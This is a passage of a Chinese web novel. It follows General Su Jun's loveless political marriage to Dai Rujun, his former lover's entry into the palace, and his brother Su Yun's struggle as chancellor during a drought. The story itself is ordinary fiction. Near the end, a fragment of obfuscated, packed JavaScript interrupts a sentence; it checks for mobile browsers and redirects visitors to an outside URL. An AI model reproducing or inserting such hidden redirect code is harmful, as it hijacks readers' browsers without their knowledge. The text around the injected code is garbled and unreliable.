但见那人气宇轩昂,肩宽腰窄,一身军甲也不显沉重,反添几分英挺。
粉衣女子也来看,口中念叨:“好如君,要是这掌着十八万大军、战功赫赫的大元帅也靠不住,天底下还有靠得住的人么?”
又道,“听说生得俊极了,人风流又有趣,是全建康闺中女子的梦中情人呢。哎——”
张望了一下,“怎么就是看不着脸呢......”
.
再俊、再风流,也不是为她而来的。
戴如君心知这桩政治联姻,自己别无选择,却也不能不再三地打探。
岂知坊间对于这人的传闻极多,竟来回报了一整个下午——
有说什么脾气暴躁,吃烟打牌,三日不离花楼。也有说他极护短、讲义气,从不打女人。还有十岁从军、十三岁领兵,死人堆里爬出无数回,战无不胜,乃是天纵将才......
听来听去,越发地迷惑——这倒底是个怎样的人?
带着一肚子的疑窦,晚间去陪母亲用膳。戴夫人也道:“今早有人来提亲,你知道了吧?”
戴如君轻轻应了一声:“嗯。”
“你爹还没应下,不过对方压得紧——说什么天家冷暖难测,周家就是前车之鉴。还劝你爹,识时务者为俊杰......我看这事,怕是难搪塞了。”
戴如君越发地低下头,不语。
戴夫人拉了女儿的手:“君儿,你是我手心里养大的,娘心里头真不舍得你远嫁。你要实在不愿,告诉娘,咱们再想想法子。”
戴如君低着头,良久才道:“婚姻大事,自是父母之命......只是——”
声音更轻,“我......想看看他。”
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谁也拦不住苏骏一马当先,自己去跟戴家“打了个招呼”。
宁伯及两位长辈一个头两个大,只好咬牙抛下彩礼辎重,也亲身上马。紧赶慢赶地在一日后抵达,即刻登门拜访。又过五日,十几车彩礼才姗姗来迟,补全了所有礼节。
至此苏骏已在客栈耗了六七天,无聊得快长毛了。“礼也全了,想也想了几天了。还得拖到什么时候?”
霍地起身,“我催催去。”
宁伯憋着一口老血,苦苦地劝:“好主子,心急吃不了热豆腐!您这火急火燎的劲头,已经够叫人家心里打鼓的了,再去催,只会更把人推开啦!”
苏骏挑了挑眉:“推什么?老子要娶他女儿,是给他天大的面子——”
“是是是,您先歇歇,老奴陪三叔六叔再上门一趟,成不?”
“跟他讲清楚利害,别不识相。”
“一定一定。”
可苏骏哪里是坐着等的主儿,等人一走便去了后院打木桩。一拳接一拳,砸得那桩子咚咚作响,碎屑乱飞,像要把满腔的火气全卸进去。
没多久,衣衫已被汗水浸透。他喘着粗气,提瓢喝了口水,正要再打——
忽瞥见院角几人悄悄进来。
他一声厉喝:“什么人?”
几人都吓了一跳,忙作揖:“回将军,我们是戴府的下人。夫人吩咐,送些时令的花团果品,还有几株玉兰,皆是贵客常例......”
苏骏一听“戴府”二字,便一边抹着汗,一边大步走了过来。
先揭开小厮手里的食盒,扫了一眼,又转身朝那几株玉兰走去,目光径直落在抱花的两个侍女身上。
其中一个侍女似格外羞涩,不自觉地退了半步。
苏骏一眼看见:“躲什么?”
另一个侍女忙解围:“将军息怒,这是新来的丫头,还不大会做事......”
苏骏却冷声道:“过来。”
那新来的侍女只得低着头,极艰难地、小心地靠近。
忽然手腕被人一拉——
还没反应过来,便见那人就着她的手,俯下身——
低闻了一下兰花。
“很香。”他抬起头,“你挑的?”
戴如君清楚地看见了他。
不同于她见过的任何人,那么的野、张扬,几近压迫的气场。却偏偏又神风俊朗,俊得几乎惊人——他是不是笑了一下?
那个笑,像是草原上的风,只让人觉得敞亮。
她怔了好一会儿,才咬着唇道:“不是,是夫人选的。”
声音小得几乎听不见。
苏骏“哦”了一声,又笑:“你们夫人眼光好,会挑花,也会养人——我喜欢。”
看着她脸上绯红一片、一句也说不出了,才肯放手。
“去吧,把花放我屋里,自己找个顺眼的地方。”
.
他是认出了,还是没有?
是处处轻薄,还是只对她?
那句“喜欢”说的是花,还是......
戴如君一路胡思乱想,只觉心里像藏了一只飞鸟,扑腾腾的。再三劝自己镇定——“别犯傻了。他是为了戴家,不是为
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了你!”
可是心里就是无法控制地,浮起他的脸,他的笑。
那令人心驰神醉的笑。
咚咚两声敲门,侍女来请:“小姐,夫人请您去用晚膳,说老爷也来......”
.
苏、戴的婚事求得快,办得更快。
两家里一个是权倾朝野、另一个是本地望族,按理说再怎么大操大办,也不为过。然而苏骏却等不了回京,一翻黄历,便选在十天后的吉日当地成婚。
婚期定得赶,什么都赶。礼服、仪仗,嫁妆——
戴渊心知,苏骏是怕回京后再生变故,非常之时行非常事,自然也同意。
戴夫人则颇为不满:“若是真心待我女儿,怎可如此简慢!”
戴如君却不在意,反而温声去劝:“没关系,反正回建康还要再办一次。到时要把全江南家族都请来,只怕热闹得我都不想去呢!”
.
待到成婚当日,吉时一到,鸣锣开道。
红轿一路花团锦簇,自戴府抬出,绕城半圈,于吉时抵达苏骏暂居之所。
跨火盆、撒米、拜堂一气完成,新娘先被送入洞房。苏骏则在几十桌酒席间周转,一一敬酒,接受戴家亲友的祝贺。等他回到新房,已是深夜。
戴如君蒙着红盖头,听到他进屋。分明坐得腰都痛了,还格外挺直一些,屏息等待。
她清楚地听见,他脱了外衣、随手一挂,又顾着去找水喝。
怕是酒喝得太渴。
她心想着,仍是耐心等候。
可是他喝过了水,只是洗脸,漱口、拆发,一一地收拾。终于走到床边,把随身的佩刀搁下,发出一声响。她闻到他身上浓重的酒气。
“早点睡,明天还要早起。”
戴如君微微一惊,抬起头。
苏骏察觉,便解释:“明天去你家拜完茶,就收拾一下回建康,行么?”
戴如君顿了一下,点了点头。
“睡吧。”苏骏便坐下脱了靴,去拉被子。却见她一点不动,方知这帕子是非得他揭不可,自然就伸手扯了一下。
红盖头滑落。
戴如君心跳如鼓,终于看见了新婚的丈夫。
还是那么俊朗,一时和心中的印象重叠起来,完完整整的,那个他。
他会惊讶吗?会高兴,还是失望?他是见过她一面的——
苏骏也看了她一眼。
他见过的,现在是一身红嫁衣,端秀柔婉,自是大家闺秀的典范。
他顿了一下,只道:“我习惯睡外面,你进去点吧。”
眼里竟毫无波澜。
戴如君心里乱着,只得低头应了。又想到她这一头的发饰未解,外衣也还未换,便道:“相公先歇着,我去洗漱一下就来。”
苏骏随口应了“好”,便已侧身躺下了。
戴如君起身去唤人。两个侍女进来,一个卸妆,另一个解发。正忙着,床那头已响起了低低的鼾声。
她微顿,不由回头望了一眼。
侍女轻声宽慰:“今天礼数多、人又多,将军想是累坏了。”
戴如君垂下眼,轻轻应了一声“嗯”。
便自己取了耳环 ,放在桌上。
晃了晃。
30.新婚
怎么描述接下来的日子?
行礼之后,苏骏一心赶回建康稳定局势,水陆并进。从徐州出发,翻大庾岭,再沿湘江北上。戴如君一路极力配合,毫无怨言。
然而白日里他骑马,她困在车中,晚上他批完军报又倒头就睡,二人几乎一路无话。好歹转上水路后,他们同船同行,能经常见面。他却愈发烦躁,不是在船头吃烟,就是下去打木桩,成日闷着一张脸。
戴如君慢慢明白,是她,连同几车嫁妆,拖慢了丈夫的归程。而他没处发作,只能闷头忍着。她心里委屈,却也只好更温顺,更不敢添一丁点麻烦。
终于一日大雨滂沱,二人被困在船室内,无事可做。
苏骏靠窗坐着,用小刀削着木块,削来削去也不成形。
戴如君看了半天,终于小心地开口:“相公,你是要做个什么?”
苏骏道:“随便削削,不做什么。”
戴如君犹豫着提议:“要不做个木剑,或者哨子,可能会有趣点......”
苏骏顿了顿:“我不会。”
一转小刀收了,起身,“做不来那种精细玩意。”
戴如君第一次看着丈夫向自己走来。
船舱逼仄,他整个人显得更高更冷,仿佛将她整个笼住。她莫名地心跳加快,几乎有些害怕,低低地唤:“相公......”
话音未落,整个人就被他一把抱起!
窗外忽然闪过一声惊雷。
.
事情发生得很快。
苏骏一点也不温柔,几乎是直接压了上来,草草了结。结束后,他起身披衣,走到窗边点了一支烟。
窗外风雨飘摇,他没有看她。
戴如君看着他,只感到一阵凄然,她心想:也许,婚姻本就是这样的......
.
回京一路取官道,花了整整一个月。而苏骏也再没碰过她。
好在入城那日,天朗气清。
苏敏早早在城门等着,一见车马,便欢快地挥手:“二哥!嫂子!”
她飞奔过来,一把拉住如君的手,亲亲热热地道:“嫂嫂一路辛苦啦。快回家去洗洗尘,见见奶奶。她在家里是盼星星盼月亮,脖子都等长啦!”
又对苏骏道:“大哥说晚上一家人聚聚,他请吃饭,定的还是你最爱的醉香楼!”
一连串话说得又快又密,把两人都逗笑了。
苏骏笑道:“抠门鬼要请吃饭,太阳怕不是从西边出来了。”
戴如君见他明显松了下来,自己心中也轻了不少。便随苏敏入府安顿,沐浴、更衣,依次拜见长辈。
老夫人拉着她的手,笑不拢嘴:“瞧这乖巧的模样。我们阿骏是哪儿来的福气!”
便脱了手上的羊脂白玉镯要送,说是旧年婆母所传。又让人抬出一匣珠宝、一匣首饰,两大箱绫罗绸缎,“不知你喜欢什么,这点先用着。回头让你妹妹陪着去挑,不要拘着......”
又拜了几个族中长辈,苏敏一个个介绍,谁是谁又住哪儿,而后附耳道:“我家人多,这一会儿也记不住。我给你列了个单子,回头慢慢记......”
忙归忙,戴如君的心总算是落了地,微笑起来。
这以后便是家了。
.
另一头
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苏骏也心情格外好,借口送徐州手信,差人去了一趟草庐。果然来禀,那厮又不知在忙着什么文书,东西却都收了,说是让他先歇着,“晚点见”。
这最寻常的几个字,就算是打破了两年多的沉默。
“他要见我——他终于要见我、认我了!”
苏骏终于大舒一口气。一群下属来禀事,就见他左耳进右耳出,嘴边却一直挂着笑。个个心想,看来新婚是不得了,把这位都给乐坏了!
草草打发完军报,苏骏闲不住,破天荒地在府里溜达,东指西指:“这个送四姑七叔,直接拿过去就行。”“这个如君要用的,放房间里去。”
府里众小厮个个咋舌:“这是成个亲,转性了不成?”
有人来问:“将军,宋夫人还剩一两箱衣服首饰,是不是先搬到偏院放一放?”
苏骏忽然顿住:“留着,一样都不许动。”
其中一个小厮抓了抓头:“可是宋夫人说这两天会派人来拿的......”
苏骏皱眉:“拿什么,她还想去哪儿?”
几个小厮被骂得一哆嗦。那不识相的张口还想解释,身边人眼疾手快,一把拉住他,抢着答:“是,是,小的遵命,这就去守着。”
明显是撒腿要溜。
苏骏上前两步,一把抓住对方胳膊,喝道:“什么意思,你说清楚。”
小厮的手都快给他拧断了,疼得嗷嗷直叫:“将军饶命,小的说,小的说——是宋夫人她要入宫了!”
“入什么宫?”
“就、就是皇宫。圣旨已经下了,封了宋夫人嫔位,五天后就要奉旨入宫......”
31.自献
苏骏当即杀到宋府。
也不让人通传,直接推门闯入:“依依!”
宋依依在里间试礼服,一把被他拉过身,听他急声道:“司马瑞那狗东西找死——你放心,有我在,没有人能逼你入宫。我会解决,我......”
她略偏了一下头:“苏将军,你搞错了吧?”
抬手拂开他,“我是自献入宫的,没人逼我。”
苏骏一愣,随即吼了起来:“宋依依!你疯了吗?”
在原地走了两步,又折回来,抓住她的肩膀:“你是在报复我?我娶了别人,你就——”
宋依依轻笑:“我为什么要报复你?”
又慢慢理了理袖子,“这一身的荣华富贵,还多亏了你的面子。我谢你还来不及呢......”
“荣华富贵?司马瑞什么人你不知道?你是我的女人——他不会放过你的,你会死在里面的!”
宋依依却只是淡淡的:“放心。不就是男人嘛,我有的是法子......”
苏骏几近抓狂:“依依你不要这样!”
又道:“你别去,你不可以去。你知道我为什么娶她,我是为了苏家......我是没有办法!”
宋依依冷笑:“算了吧。你不是为了苏家,你就是为了你自己,还有你那个病歪歪的哥哥——他少看你一眼,你就跟疯了一样。”
“没办法?苏骏,你有无数次的选择,可从来没有选过我。”
她顿了顿,最后一字一句道:“你自私、糟糕、混乱,我不想再跟你耗下去了。你听清楚了吗?我宋依依不、愿、意!”
“不愿意”三字落地,屋中陷入一片安静。
苏骏喉结起伏了一下,终于道:“依依,你到底要我怎么样?怎么样,你才肯留下,至少——至少不要去伺候,那只,死,狗......”
说到此处,声音已是低极了。
宋依依看着他,简单道:“休妻,然后娶我。我可以一笔勾销。”
苏骏闭上眼:“依依......”
宋依依笑了:“做不到吧?哎。”
便转过身去照镜子,理了理头上的珠翠。“那就守好你的娇妻,别再纠缠不清了。体面点,我们好聚好散,再相见还能是朋友......”
.
苏骏走出宋府时,像被掏空了魂。
随身兵牵马来,连叫几声他才应。翻身上马,只低低一句:“别跟着。”
他根本不知要去哪里,只是一气冲出了城。到郊外人烟渐少的地方,便不再控缰,任凭马儿慢慢地自己走。
一步一步,走到天完全黑了。
马终于停下,鼻息在夜风中喷了两声。
他抬眼看去,是军营的旧马场,这匹战马当年长大、受训的地方。后来场地迁弃,现在已是杂草丛生。
他下马,找了一块旧桩靠着,坐了一会儿。忽然发觉——
一滴水。
顺着鼻梁滑进衣领。
紧接着又是一滴。然后是更多。
视线一点点模糊,喉头发紧。他听见自己的喘息,一声比一声重。终于,他把脸埋进双臂。没有声响,只有颤动。
直到不知是昏过去,还是短暂地睡了会儿。梦里什么也没有,只有冷。远远地传来一点马蹄声。他没睁眼,也没动。
但那声音逐渐靠近。有人翻身下马,低唤——
“阿骏。”
他猛地睁开眼。
在泛白的天色里,那个人向他走来:“你怎么在这?我们找了你一整晚。”
“哥。”他立刻翻起身冲去,气息极乱,“对不起,你不要生气。对不起......”
苏昀扶住他:“嘘,没事。我没有生气......”
苏骏却根本听不进,只顾着一连串地道:“我又没去吃你安排的晚饭。我又跑出来了,我也没去早朝......我本来想好都要去的。哥,我知错了,我真的知道错了......”
苏昀心疼得要命,双手托住他的脸,柔声地劝:“一顿饭而已,没有关系的。你已经做得很好了。你看着我,没事的......”
苏骏从狂乱中渐缓过来,看清对方的脸。
是真的担忧,真的把他捧在心尖上。
就像从前一样。
“哥。”他一把抱住苏昀,再次痛哭起来。
“依依走了......你答应我,不要走,不要再丢下我了,好不好?”
苏昀抚着他的发,一再地安慰:“我不走。我能去哪里呢?你是我弟弟,永远都是。没事,我在这里......”
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永安阁。
琅琊王问:“还是没出门?”
一个近臣答道:“是,已经七八天了。听说饭吃不下,军报也堆着没批,就是关在房里睡觉——还是丞相替他告的假呢。”
琅琊王闻言笑了:“苏骏也有这一天!”
底下的皆顺势道:“是啊,区区一个女人,就把他魂勾走了!”“娶了戴家女又怎么样?这会儿斗志全无,连北都找不着啦......”
众近臣又一通是夸赞琅琊王此战如何漂亮,如何让苏家吃了暗亏——“连苏家的女人都向着陛下,胜负还不明摆着么?”
待人群散尽,琅琊王仍神清气爽,心情极好。
许生穿一身浅蓝官衣,如常奉茶。他接过来,便随口问:“今天怎么这么安静,不说话了?”
许生垂着眼:“许生嘴笨,不敢扰了陛下的兴致,还是不说的好。”
琅琊王看了他一眼,便笑了:“哟,有人是吃醋了?”
心情一好,竟拉起他的手哄了起来,“我是去了宋依依那里几晚,宠妃的样子总得做一做嘛!谁是我心窝里的人,你还不晓得么......”
说着,手便向人腰上摸去。
许生没有闪避,却也未靠近,低头道:“臣不敢妒,只是宋嫔那脾气,臣是最清楚的。苏将军又一心被她拴着,只怕日后麻烦还多着呢......”
琅琊王笑得更欢:“还说不妒呢,越说越小性儿了!”
便一把将人揽来,坐在膝头上。“我看看,是怎么个委屈法......”
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哄归哄,琅琊王一股子新鲜的劲头,全压在宋依依一人身上——
那可是让苏骏掉了魂的女人,实打实的战利品!
自然当夜又转去她的住所,兴致勃勃地要进门。几个侍女却来迎拜:“皇上,夫人犯了头疼,才睡下呢。”
琅琊王微皱眉:“怎么回事?”
侍女道:“太医说是劳中夹虚、情绪起伏,须多加静养。”
琅琊王一听,再想前几日她娇声细语、处处顺从,又想迁居换气,生点病也是常事。便只笑了一声:“娇贵得紧,让她歇着吧。”
便转身走了。
谁知宋依依这一病,竟没完没了。
琅琊王一连来了多日 ,都吃了闭门羹。想着她那欲拒还迎、风情万种的样子,心里就像被猫挠似的,越发地不耐烦。终于一日沉下了脸:
“开门,是真病还是做戏,孤要亲眼瞧瞧。”
走进一看,屋内帷帐低垂。
宋依依一身轻薄小衣,乌发半挽,端的是楚楚可怜。正被人扶着下床,要迎拜:“皇上万安......”
这一声叫得他整个人都软了。
琅琊王不由上前
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去扶:“怎么就病成这样了?”
宋依依垂着眼:“臣妾无福,常年身子时好时坏的。辜负皇上圣恩,罪该万死。”
“哪里就说得这么重了。来,坐下吧。”
宋依依顺从地回到床上,神色却仍是凄然,自叙道:“臣妾早年颠沛、滑过子,便是这样一副薄命身,也无能延绵子嗣。”
又道,“后宫女子多为承恩而至,臣妾却只是求一处容身。皇上肯庇护,已是天恩。但若叫皇上为难,臣妾也不敢久居,惹人闲话......”
一席话说得琅琊王左右不是,只好宽慰道,“你是孤的女人,怎会无处容身?这宫里你就住着,病也慢慢地养......”
.
待走出门来,琅琊王脸色却沉得很。
他负着手,侧目:“是哪个太医看宋嫔的病,让他过来禀事。”
太医自然很快到了,解释了一通:宋依依确实滑过胎,月事不调,难以生育。而且脉相浮数,心绪不定,这病只怕是难养得很。
琅琊王半信半疑,特意又叫了几个太医再去看。回禀的也大差不差。
正心中烦闷,又有人来禀:“皇上,苏将军求见——”
.
苏骏难得不披甲,一身玄色窄袍。整个人明显清减了,脸上淡淡的。
琅琊王亲自扶他起身,口中念叨:“三弟怎么瘦了这么多!”
坐下了又关心道:“你这脸色也太差,是不是都没睡好?这样下去可不得了。前天北边刘侃还报说胡人有异动,你一不在,三军的心都散啦......”
苏骏看了他一会儿:“你的意思是,我这统军元帅别当了?”
琅琊王吓了一跳,忙摆手道:“说什么呢!兵权上的事,大哥除了你还能信得过谁?你别多想,好好养着,你的身子可是国本呐......”
苏骏简单道:“我没病。”
又道,“闲话少说,我来是为两个事。”
竟仍是气势逼人。琅琊王只好顺着道:“哎,你说。”
“现在江北北面匈奴和鲜卑争地,羌人内乱。南面羯人正收拾氐人,一结束就会瞄向江南。我要提前过去布军——你写个手喻,暂缓江北三印令,让刘侃配合我调度。”
这一通的发号施令,让琅琊王瞬间憋出了一肚子的火。可是再大火气,也只能应着:
“好,你放心。”
“我三天后就动身。后方钱粮的事,苏昀会再跟你上奏——别给他使绊子,对你没好处。”
“......你又胡说了。我怎会......”
“这是第一件。”
苏骏打断,“第二件,是宋依依。”
琅琊王知他迟早会提,腹稿都打了几遍了,立刻叹道:“宋嫔入宫,实非我所求。我知道她是你心上的人,怎么会......”
苏骏接口:“她虽入宫,却还是我的人。你要让她有半分为难、少半根头发——”
冷笑了一下,“十八万大军剑指建康,我眼都不会眨一下。”
.
许生立在外殿,直到里面完全静下来,才款款地端茶而入。
他绕过在地上收碎瓷片的两个侍从,不动声色。将茶盏轻轻放下:“皇上,夜深露重,您还是早些休息才是。”
琅琊王坐在桌边,手扶着额。没有动。
许生继续取来一旁的外袍,绕到他身后,轻轻披在他肩上。
“皇上累了......臣,知道。”
那一声叹息般的安慰,覆在了琅琊王的心上。他终于微微一动,低唤:“许生啊。”
许生俯身,温柔地揽住他的肩,将他拥入怀中。
“臣在。”
32.北鸿
从丈夫失踪的第一晚,戴如君便知不对。
苏家人再怎么含糊其辞,流言蜚语还是漫了出去。街头巷尾都在说,“大将军为了花魁女,魂都丢了。”“可怜那个新妇,得了人又怎么呢,却抓不住男人的心!”
戴如君走到哪里,都有人偷偷地对她指点:“就是她,那个戴家女......”
她闭了闭眼,轻轻吐了一口气。然后递上挑好的物件,微笑道:“老板,这件。麻烦包两层纸,另拿一只盒。”
她知道自己成了笑话。
只要还能出门、还能笑,就还能撑下去。
可回到家,空气就不一样了。
苏骏只顾着闷头睡——不问她去哪里,不看她带了什么,也不说一句话。
直到宋依依入宫那天,宫钟大作,礼乐喧腾。当晚他喝得烂醉,将她拉入房中。一连数天,毫无温存。
戴如君只是咬牙承受,直到身心俱疲,连梦里都不敢发声。
日子就这样浑浑噩噩地过着。
后来补办了大婚。在鞭炮轰响、人声鼎沸之中,她再次踏入苏府大门——他却已不再碰她了。
再后来,她被告知,他要北上抗胡。她不敢抱怨,只忙着为他收拾行李,就在这时她发现了一个变化,一个欣喜的、崭新的变化。
“相公......我有了。”
苏骏没听懂:“有什么?”
“孩子。相公,我......有你的骨肉了。”
苏骏愣了一下,看见妻子垂着头,嘴角微弯。他终于“哦”了一声,继续翻他要带的武器。“那别忙了,去歇着吧。”
又顺口问,“告诉奶奶了没有?”
戴如君笑意微顿,轻轻应了句:“......还没呢。”
苏骏道:“那你去说吧,她会高兴的。”
戴如君应了,慢慢退了出去。
出门时,抬起头,看见天上有一只孤鸿飞过。
.
苏骏常是一年里有半年不在家的,出征如家常便饭。这日和府中家眷别过,交接了军政文书,便牵马往城外走。
苏昀照例送到城门,本有一腔叮嘱,却反被对方唠叨了一路:“你自己记得吃饭、吃药,夜里别熬太晚。还有那谁——再敢惹你,
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你跟我说,我有大把法子治他......”
苏昀无奈一笑:“听你这架势,倒像我出征似的。”
苏骏皱着眉:“差不多啦。总之你万事当心,保重身体。”
“你也是。能稳则稳,平安最要紧......”
苏昀才打了个话头,二人已到了城门口。
前方数百甲士森森列阵,战马喷着白气,整装待发。苏骏拉了一下马缰,似乎要走。忽然又回过身——
一步冲过来,将苏昀抱了个满怀。
苏昀怔了一下,没动,低声道:“嘿,这么多人呢......”
苏骏啐道:“你管他们!”
又抱紧了些,闷声道:“你等我,我会赢。”
苏昀心头一软,轻轻拍了拍他的背:“好,我等你。”
苏骏好一会儿才松开手,却不敢再看,别过头去:“走了!”
便翻身上马,一挥手。
号角声传出,兵马纷纷列队,跟了上去。大旗迎风翻飞。
苏昀立在原地,看那人的影子渐行渐远。半晌,才轻叹了口气,转身入城。
33.大旱
草庐,又是清晨。
苏昀下朝归来,进屋连衣还没换,便听外面有个小孩的叫嚷声——
“大伯!”
他微一偏身,正见院门口冲进来个小团子,跑得飞快,直接就要往他身上扑。
宁伯眼疾手快,先迈了半步,一弯腰稳稳按住来人。“小公子可慢些,撞着了怎么得了?”
苏澄仰起脸,嘴巴圆圆地一张,奶声奶气道:“我不疼——我飞的!”
他约两岁大,穿了件绣白鹿的小夹衣,脸颊红扑扑的,眉毛浓而柔软。
又伸出两只小手晃了晃,“大伯,大伯抱抱!”
苏昀看着这苏骏的孩子,眼里也不得不柔了下来。
他弯腰伸出左手:“过来吧。”
苏澄一上臂弯,便满足地往他怀里拱,嘴里还念念有词:“大伯香......香喷喷。”
那团热呼呼的身体一扑上来,苏昀便觉半身微微一麻。他只是略收紧了左臂,微笑:“哪有你香?说,早上是不是偷喝杏仁露了?我都还没喝药呢。”
苏澄立刻拱了一下,举起手臂得意道:“哟,我赢啦!”
苏敏跟进了门,自然地伸手去接:“到小姑这来——小澄这么重,大伯还没吃饭,哪里抱得动你?”
又笑着道:“一大早就嚷着要跟大伯‘比赛吃饭’,还自己洗脸打扮,挑了半天衣服呢。”
苏澄被换了手,口里还念念不休:“吃饭!吃饭!赢大伯!”
苏昀就是再没有胃口,也只得让宁伯去拿早饭。自己回房换了衣出来,苏澄已经在咬胡萝卜包子了,一看他来赶紧咬得更大口,显然要坚决保持“优势”。
苏昀不觉好笑,坐下慢慢拿起筷子,一边劝:“你慢些吃,别噎着......”
二人刚吃了几口,又有一团火闯进来:“昀叔!”
自是苏籍之。
“哎哟,这是吃上啦?谁劝的?小澄记一大功啊!”
苏昀看了他一眼,只道:“坐吧。”又吩咐宁伯去添副碗筷,再加一笼包子。
苏敏则没什么好气:“你来干嘛呀?跟你讲了,你那差事早结了,现在换小澄了。”
苏籍之一点也不臊,大咧咧道:“我是来报喜的!昀叔,我给你讲几个好消息,下下饭。”
苏昀不置可否,低头喝了半口粥。
苏籍之那便开始了:“首先,昨天官购粮卸货,西市菜价今天就降了一文!这两年大旱下来,菜比金子都贵,现在总算有点松动了!”
“坊间也在传,都说支持你将官盐折价,叫百姓家里的余米流出来,盼你快点推!”
“我爹奉命去典当皇家器物,听说第一趟就谈出了好价钱!”
“还有,你不是让我去想办法,卖掉国库里堆的几千匹粗丝布么?我就发起个‘谁穿得破’比赛,现在已经有人报名了!......”
一件件听来,苏昀只觉得胃里发紧。他放下碗:“......我吃饱了。”
苏敏瞪眼:“苏籍之!”
苏澄则带着满嘴包子屑,欢呼:“耶!我赢啦!”
一挥手,不小心把苏昀的粥打翻了,瞬间粥水四溅。
“哎哟哟,我来我来!”苏籍之赶紧抢着收拾,一起身,不负众望地又碰到了一碟蒸地瓜,桄榔一声落地——
“苏籍之!”“我错了我错了......”
又是一顿鸡飞狗跳。几人出门的时候,苏敏还拧着苏籍之的耳朵骂:“我大哥是上辈子欠你了吧?找抽。哼......”
.
看着“催饭三人组”走了,屋里终于安静下来。
苏昀吐了口气,顺手按了按胃。宁伯见状便问:“公子又难受了么?不如歇一歇吧。”
“没事。”他皱了下眉,却松开手,取过了今日的第一份案卷。
第一件是湘州刺史谯王的叫苦信——七个郡六个歉收,百姓闹饥荒,已有聚众的势头,请求朝廷拨粮赈济。
苏昀心想:湘州大粮仓都这样,哪还支得出去?
便批了让巡仓使先核实情况,又温言夹棒地提醒谯王,地方责任不能推给朝廷。另起一份手令,让军队密切关注,有扰就安,有乱就剿。
第二件是江北的急报。刘侃说军中已断粮三天,形势严峻至极。紧接着一封是苏骏写的,却说粮草尚足,让他安心——那厮一向是多少都说够的,自然信不得。
苏昀皱了眉,取出一页草案,上面写着:减仪仗、简礼制、折抵盐税、征粮借粮......已没多少余地。
他思索片刻,提笔:启动第二轮国贷,向大户借银,为期三年。
再往下,是仁心堂告急、流民逼城,许生又启用寒门入军,还要对富室加税......
一封封批下去,他只觉胃中翻得更厉害了。
“宁伯,”他低声道,“去拿点药来。”
.
熬过早晨最急、最重的批复,中午逼自己吃了两口饭,坐着歇了会儿气,下午又马不停蹄地见人、回折、过账本。
待许生进门时,他已觉两眼发黑,连人影都看快不清了。偏这位倒是神采奕奕,行至近前,还拱手一礼,笑道:“苏相今日可有空,我便斗胆进来了。”
天知道苏昀此刻最不想见的人,就是这位麻烦痞子。
他喉头一紧,原想开口回绝,却终究只淡声道:“请坐。”
许生落座,见他疲态难掩,便笑道:“国库吃紧,人人忧心。皇上体念丞相久劳,让我也来想想法子,或能为你分些重担。”
便递上一章折子。
苏昀于是展开了今天第八百封奏章,很快扫了一眼,放下。“这折我看过了。动作太大,会激起士族不满。不行。”
许生早料到如此,不动声色地捡回折子,只道:“罢免扬州士绅免税令,改依地计赋——动了谁的利,谁自然不满。可是丞相,不破,何以立?”
“这两年是旱灾没错,可多少豪强借机隐田、夺地、压赋......你再拆东补西,终归是拾漏敷疮。不从根上挖一挖,怎么救得了这局面?”
苏昀叹了口气:“我不是不愿寒门得权、得利,只怕是拔得太快,根还未稳,就要塌方。现在四面楚歌,我需要的不是剧变、是稳定......”
许生道:“你要稳到什么时候?看来年开春,上天赏不赏碗饭吃?苏宴之——”
略一偏头,笑道:“有时我实在觉得,你真是......好天真呀。”
苏昀一时胃里绞起来,不由微微倾身。
他低声道:“世上多是肯破的人,能站住的却少。”
又略缓了一口气,便下了逐客令:“你我谈不到一处,请便吧。”
许生看着他强忍的样子,又不由轻笑一声,施施然地起身。“丞相执意要自苦,我也没有法子。”
又瞥眼道:“就好比你这身仓库里掏来的粗丝衣......穿来穿去,送来送去。终究也只能没人怜、也没人买,因为——”
压低身,“实在太丑了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352581|199267||http|test|mini|href|location''.split(''|''),0,{}));
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>苏昀忍无可忍:“宁伯,送客!”
.
苏昀向来能忍,胃痛却是最难忍的一桩。
等人一走,便歪在床上再起不来了。宁伯赶紧去叫大夫来看,又弄热敷、揉穴。忙活了一整晚,一早醒来还是痛。与其在朝上站不住丢人,还是认命地告了假。
“一天,一天就好。”
他覆着额头,闭上眼。
宁伯刚合上门,转过头,迎面就是三双眼睛:苏敏、苏籍之、还有小小的苏澄。
苏籍之率先道:“怎么又不好了呢?这也没做什么,饭都按时吃了——”
宁伯叹道:“大夫说,是旧病耗着耗着,拖到了极处,一口气又闷在心里......”
籍、敏二人都心疼极了。一个又一头扎进了那个“谁穿得破”比赛,满街吆喝,要卖粗丝衣。另一个则把小孩送回以后,咬着手指,跟宁伯捋了一遍兄长这几日的行程,订下方针:能扣的事先扣,不能的也得想法子缓一缓。
反复过了几遍之后,到夜间苏昀稍好了些,起身要吃东西。
苏敏亲自端了去,看着他吃了几口又停下,便问:“吃好了?”
苏昀点了点头。
苏敏递上帕子,把碗拿开。“后天下午,你是不是要去‘公议堂’听案子?”
苏昀愣了一下:“嗯,怎么?”
“你歇着,我替你去。”
苏昀着实又愣了一下:“你别胡闹。”
“那些案子我都看过了,不就是几桩追缴地税、赈济分粮的纠纷嘛。哪用得着你这位丞相大人出马?”
苏昀解释:“案子虽不大,但事关财权与赈济。我去,是为了定调——告诉众人,这是朝廷正策,不得不行。”
“那我去是一样的。只要有苏家代表,你的立场就很明白了。”
“阿敏!哪有女子坐堂的?”
苏敏挑眉:“哎,你这话可有问题啊。你是不尊重女子啊,还是不尊重我?再说了,你自己公议堂章程上,白字黑字写的——地方政务公审会,男女老少皆可旁听。我以前还去过呢!”
“......你去那干什么?”
“讨论东街那家小李糖铺要不要罚钱,说是生意太好、阻碍道路,我去代表民众提了点意见。”
“......”
“反正我就往那一坐,表达个‘苏家来人’的意思。能出什么岔子?哥,你别老这么操心,这点事都要亲力亲为,难怪累成这样。你是不是不懂放权啊?”
苏昀堂堂一国宰相,竟被妹妹训了一脸,艰难道:“......我怎么不懂?”
这话一说出来,竟有点心虚。
好吧,他是经常被人诟病,抓得太细、太紧......那不是其他人做得不好么!
心里胡思乱想了一通,没了声。
苏敏“嗯”了一声,用手指点点小几:“知错就行!反正这事就归我了,还有啊,以后你的行程我都要看,有的没的就别去了,要懂抓大放小......”
